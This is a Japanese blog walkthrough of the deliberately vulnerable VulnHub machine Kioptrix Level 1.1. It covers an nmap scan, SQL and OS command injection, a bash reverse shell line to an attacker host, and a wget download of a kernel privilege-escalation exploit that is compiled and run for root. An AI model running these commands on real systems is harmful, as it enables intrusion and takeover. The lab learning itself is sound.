LoginSignup
0

More than 3 years have passed since last update.

vulnhub Walkthrough:Kioptrix: Level 1.1 (#2)

Last updated at Posted at 2021-01-11

初心者がいっぱしのセキュリティエンジニアを目指す為に勉強した備忘録となりますので間違っているとことがあるかもしれません。
vulnhubの意図的に脆弱性が作り込まれたKioptrix: Level 1.1 (#2)のWalkthroughとなります。

vulnhubの情報

Name Kioptrix: Level 1.1 (#2)
Date release 11 Feb 2011
Author Kioptrix
Series Kioptrix
Web page http://www.kioptrix.com/blog/?page_id=135

PortScan:


root@kali:~# nmap -sS -sV 192.168.56.70
Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-07 22:41 JST
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for 192.168.56.70
Host is up (0.00020s latency).
Not shown: 993 closed ports
PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 3.9p1 (protocol 1.99)
80/tcp   open  http       Apache httpd 2.0.52 ((CentOS))
111/tcp  open  rpcbind    2 (RPC #100000)
443/tcp  open  ssl/https?
631/tcp  open  ipp        CUPS 1.1
720/tcp  open  status     1 (RPC #100024)
3306/tcp open  mysql      MySQL (unauthorized)
MAC Address: 08:00:27:6A:AC:A2 (Oracle VirtualBox virtual NIC)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.94 seconds

Exploitation:

ログイン画面にsqlインジェクションがありました。

スクリーンショット 2020-05-07 22.44.04.png

ログイン後の画面はpingコマンドを実行するフォームとなっております。
OSコマンドインジェクションがあるか確認してたところ脆弱性が存在しそうです。

スクリーンショット 2020-05-07 22.46.25.png
スクリーンショット 2020-05-07 22.47.04.png

リバースシェルを実行します。


bash -i >& /dev/tcp/192.168.56.65/1234 0>&1

netcatで接続待ちを行います。
接続することができました。


root@kali:~# netcat -lvp 1234
listening on [any] 1234 ...
192.168.56.70: inverse host lookup failed: Host name lookup failure
connect to [192.168.56.65] from (UNKNOWN) [192.168.56.70] 33954
bash: no job control in this shell
bash-3.00$ 

Privilege Escalation:

LinEnum.shをサーバにアップーロします。LinEnumの結果Linuxのバージョンに脆弱性がありそうです。

Linux kioptrix.level2 2.6.9-55.EL #1 Wed May 2 13:52:16 EDT 2007 i686 i686 i386 GNU/Linux


root@kali:~# searchsploit kernel 2.6 linux local | grep "CentOS\ 4"
Linux Kernel 2.4.x/2.6.x (CentOS 4.8/5.3 / RHEL 4.8/5.3 / SuSE 10 SP2/11 / Ubuntu 8.10) (PPC) - 'sock_sendpage()' Local Priv | exploits/linux/local/9545.c
Linux Kernel 2.4/2.6 (RedHat Linux 9 / Fedora Core 4 < 11 / Whitebox 4 / CentOS 4) - 'sock_sendpage()' Ring0 Privilege Escal | exploits/linux/local/9479.c
Linux Kernel 2.6 < 2.6.19 (White Box 4 / CentOS 4.4/4.5 / Fedora Core 4/5/6 x86) - 'ip_append_data()' Ring0 Privilege Escala | exploits/linux_x86/local/9542.c

9542.cをアップロードして実行しましたが、権限昇格にはいたりませんでした。


bash-3.00$ ls
9542.c
a.out
LinEnum.sh
bash-3.00$ ./a.out
[-] exploit failed, try again
bash-3.00$ 

今度は9545.cをアップロードし、実行します。
権限昇格できました。


root@kali:~# python -m SimpleHTTPServer 
Serving HTTP on 0.0.0.0 port 8000 …
bash-3.00$ wget http://192.168.56.65:8000/9545.c
--00:24:01--  http://192.168.56.65:8000/9545.c
           => `9545.c'
Connecting to 192.168.56.65:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 9,783 (9.6K) [text/plain]

    0K .........                                             100%   59.05 MB/s

00:24:01 (59.05 MB/s) - `9545.c' saved [9783/9783]

bash-3.00$ ls
9542.c
9545.c
a.out
LinEnum.sh
bash-3.00$ gcc 9545.c
9545.c:376:28: warning: no newline at end of file
bash-3.00$ ./a.out
sh: no job control in this shell
sh-3.00# id
uid=0(root) gid=0(root) groups=48(apache)
sh-3.00# 

免責事項

本記事は情報セキュリティにおける攻撃の理解、防衛のスキル向上を目的としたセキュリティに関する内容がございます。本記事の内容を使用し発生した如何なる損害や損失について、当記事作成者は一切の責任を負いません。
本記事の内容を実際に使用して、第三者の個人や組織などを攻撃した場合は
法律により罰せられる可能性がありので、必ず自身が所有している環境のみを
対象とし、他人や組織が所有している環境は決して対象としないようお願いします。

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0